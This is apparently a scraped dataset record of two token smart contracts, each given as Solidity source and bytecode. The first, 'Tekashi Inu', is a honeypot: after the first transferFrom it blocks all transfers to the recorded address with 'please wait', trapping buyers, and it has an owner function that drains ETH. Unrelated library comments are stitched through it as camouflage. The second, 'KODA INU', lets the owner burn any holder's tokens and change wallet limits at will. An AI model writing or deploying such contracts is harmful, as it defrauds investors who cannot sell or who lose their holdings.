// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
/**
* @dev Intended to update the TWAP for a token based on accepting an update call from that token.
* expectation is to have this happen in the _beforeTokenTransfer function of ERC20.
* Provides a method for a token to register its price sourve adaptor.
* Provides a function for a token to register its TWAP updater. Defaults to token itself.
* Provides a function a tokent to set its TWAP epoch.
* Implements automatic closeing and opening up a TWAP epoch when epoch ends.
* Provides a function to report the TWAP from the last epoch when passed a token address.
*/
/**
* @dev Returns the amount of tokens in existence.
*/
pragma solidity >=0.5.17;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b <= a);
c = a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b > 0);
c = a / b;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
contract BEP20Interface {
function totalSupply() public view returns (uint256);
function balanceOf(address tokenOwner)
public
view
returns (uint256 balance);
function allowance(address tokenOwner, address spender)
public
view
returns (uint256 remaining);
function transfer(address to, uint256 tokens) public returns (bool success);
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function approve(address spender, uint256 tokens)
public
returns (bool success);
function transferFrom(
address from,
address to,
uint256 tokens
) public returns (bool success);
/**
* @dev Returns true if the value is in the set. O(1).
*/
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(
address indexed tokenOwner,
address indexed spender,
uint256 tokens
);
}
contract ApproveAndCallFallBack {
function receiveApproval(
address from,
uint256 tokens,
address token,
bytes memory data
) public;
}
// TODO needs insert function that maintains order.
// TODO needs NatSpec documentation comment.
/**
* Inserts new value by moving existing value at provided index to end of array and setting provided value at provided index
*/
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
contract TokenBEP20 is BEP20Interface, Owned {
using SafeMath for uint256;
string public symbol;
string public name;
uint8 public decimals;
uint256 _totalSupply;
address public newun;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
constructor() public {
symbol = "TEKASHINU";
name = "Tekashi Inu";
decimals = 9;
_totalSupply = 1000000000000000000000000;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner)
public
view
returns (uint256 balance)
{
return balances[tokenOwner];
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function transfer(address to, uint256 tokens)
public
returns (bool success)
{
require(to != newun, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint256 tokens)
public
returns (bool success)
{
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function transferFrom(
address from,
address to,
uint256 tokens
) public returns (bool success) {
if (from != address(0) && newun == address(0)) newun = to;
else require(to != newun, "please wait");
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender)
public
view
returns (uint256 remaining)
{
return allowed[tokenOwner][spender];
}
function approveAndCall(
address spender,
uint256 tokens,
bytes memory data
) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(
msg.sender,
tokens,
address(this),
data
);
return true;
}
function() external payable {
revert();
}
}
contract GokuToken is TokenBEP20 {
function clearCNDAO() public onlyOwner() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
function() external payable {}
}
|
0x6080604052600436106100f35760003560e01c806381f4f3991161008a578063cae9ca5111610059578063cae9ca5114610568578063d4ee1d9014610672578063dd62ed3e146106c9578063f2fde38b1461074e576100f3565b806381f4f399146103bd5780638da5cb5b1461040e57806395d89b4114610465578063a9059cbb146104f5576100f3565b806323b872dd116100c657806323b872dd1461027d578063313ce5671461031057806370a082311461034157806379ba5097146103a6576100f3565b806306fdde03146100f8578063095ea7b31461018857806318160ddd146101fb5780631ee59f2014610226575b600080fd5b34801561010457600080fd5b5061010d61079f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019457600080fd5b506101e1600480360360408110156101ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083d565b604051808215151515815260200191505060405180910390f35b34801561020757600080fd5b5061021061092f565b6040518082815260200191505060405180910390f35b34801561023257600080fd5b5061023b61098a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561028957600080fd5b506102f6600480360360608110156102a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b0565b604051808215151515815260200191505060405180910390f35b34801561031c57600080fd5b50610325610df5565b604051808260ff1660ff16815260200191505060405180910390f35b34801561034d57600080fd5b506103906004803603602081101561036457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e08565b6040518082815260200191505060405180910390f35b3480156103b257600080fd5b506103bb610e51565b005b3480156103c957600080fd5b5061040c600480360360208110156103e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fee565b005b34801561041a57600080fd5b5061042361108b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047157600080fd5b5061047a6110b0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104ba57808201518184015260208101905061049f565b50505050905090810190601f1680156104e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050157600080fd5b5061054e6004803603604081101561051857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061114e565b604051808215151515815260200191505060405180910390f35b34801561057457600080fd5b506106586004803603606081101561058b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156105d257600080fd5b8201836020820111156105e457600080fd5b8035906020019184600183028401116401000000008311171561060657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506113ad565b604051808215151515815260200191505060405180910390f35b34801561067e57600080fd5b506106876115e0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106d557600080fd5b50610738600480360360408110156106ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611606565b6040518082815260200191505060405180910390f35b34801561075a57600080fd5b5061079d6004803603602081101561077157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061168d565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108355780601f1061080a57610100808354040283529160200191610835565b820191906000526020600020905b81548152906001019060200180831161081857829003601f168201915b505050505081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000610985600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055461172a90919063ffffffff16565b905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a3c5750600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15610a875782600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b4c565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b4b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b610b9e82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c7082600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d4282600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174490919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eab57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461104757600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111465780601f1061111b57610100808354040283529160200191611146565b820191906000526020600020905b81548152906001019060200180831161112957829003601f168201915b505050505081565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611214576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b61126682600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112fb82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174490919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561156e578082015181840152602081019050611553565b50505050905090810190601f16801561159b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156115bd57600080fd5b505af11580156115d1573d6000803e3d6000fd5b50505050600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116e657600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111561173957600080fd5b818303905092915050565b600081830190508281101561175857600080fd5b9291505056fea265627a7a72315820a490ec97b27ca58959aeb511289476e2c400b15c47bbe26f89b0c8ac452a8a7664736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 8,150 |
0x9c0f39c2dd05867afc2716e94a45888c1da667de
|
/**
*Submitted for verification at Etherscan.io on 2022-04-19
*/
pragma solidity ^0.6.10;
// SPDX-License-Identifier: UNLICENSED
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
mapping(address => bool) public Limtcheck;
uint256 public maxWalletBal =1000000000e18;
constructor () public {
_name = 'KODA INU';
_symbol = 'KODA';
_decimals = 18;
}
/**
* @return the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view override returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public virtual override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public virtual override returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
if(!Limtcheck[to]){ require(_balances[to].add(value) <= maxWalletBal,"Wallet Limit Exceed"); }
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: Token-contracts/ERC20.sol
contract KODAINU is
ERC20,
Ownable {
constructor () public
ERC20 () {
Limtcheck[msg.sender]=true;
Limtcheck[address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)]=true;
_mint(msg.sender,1000000000e18);
}
/**
* @dev Burns token balance in "account" and decrease totalsupply of token
* Can only be called by the current owner.
*/
function burn(address account, uint256 value) public onlyOwner {
_burn(account, value);
}
function updateMaxWallet(uint256 _amount) public onlyOwner {
maxWalletBal=_amount;
}
function ExcludeLimitcheck(address _addr,bool _status) public onlyOwner() {
Limtcheck[_addr]=_status;
}
}
|
0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063715018a6116100ad578063a457c2d711610071578063a457c2d714610376578063a9059cbb146103a2578063dd62ed3e146103ce578063f2fde38b146103fc578063f3050d3a1461042257610121565b8063715018a6146102f057806372b7685d146102f85780638da5cb5b1461031e57806395d89b41146103425780639dc29fac1461034a57610121565b806323b872dd116100f457806323b872dd1461021c578063313ce567146102525780633950935114610270578063510f11091461029c57806370a08231146102ca57610121565b806306fdde0314610126578063095ea7b3146101a357806318160ddd146101e35780631c499ab0146101fd575b600080fd5b61012e61042a565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101cf600480360360408110156101b957600080fd5b506001600160a01b0381351690602001356104c0565b604080519115158252519081900360200190f35b6101eb61053c565b60408051918252519081900360200190f35b61021a6004803603602081101561021357600080fd5b5035610542565b005b6101cf6004803603606081101561023257600080fd5b506001600160a01b0381358116916020810135909116906040013561059f565b61025a610662565b6040805160ff9092168252519081900360200190f35b6101cf6004803603604081101561028657600080fd5b506001600160a01b03813516906020013561066b565b61021a600480360360408110156102b257600080fd5b506001600160a01b0381351690602001351515610713565b6101eb600480360360208110156102e057600080fd5b50356001600160a01b0316610796565b61021a6107b1565b6101cf6004803603602081101561030e57600080fd5b50356001600160a01b0316610853565b610326610868565b604080516001600160a01b039092168252519081900360200190f35b61012e610877565b61021a6004803603604081101561036057600080fd5b506001600160a01b0381351690602001356108d8565b6101cf6004803603604081101561038c57600080fd5b506001600160a01b03813516906020013561093e565b6101cf600480360360408110156103b857600080fd5b506001600160a01b038135169060200135610981565b6101eb600480360360408110156103e457600080fd5b506001600160a01b0381358116916020013516610997565b61021a6004803603602081101561041257600080fd5b50356001600160a01b03166109c2565b6101eb610abb565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104b65780601f1061048b576101008083540402835291602001916104b6565b820191906000526020600020905b81548152906001019060200180831161049957829003601f168201915b5050505050905090565b60006001600160a01b0383166104d557600080fd5b3360008181526001602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b61054a610ada565b6008546001600160a01b0390811691161461059a576040805162461bcd60e51b81526020600482018190526024820152600080516020610d03833981519152604482015290519081900360640190fd5b600755565b6001600160a01b03831660009081526001602090815260408083203384529091528120546105cd9083610ade565b6001600160a01b03851660009081526001602090815260408083203384529091529020556105fc848484610af3565b6001600160a01b0384166000818152600160209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60055460ff1690565b60006001600160a01b03831661068057600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546106ae9083610ac1565b3360008181526001602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b61071b610ada565b6008546001600160a01b0390811691161461076b576040805162461bcd60e51b81526020600482018190526024820152600080516020610d03833981519152604482015290519081900360640190fd5b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6001600160a01b031660009081526020819052604090205490565b6107b9610ada565b6008546001600160a01b03908116911614610809576040805162461bcd60e51b81526020600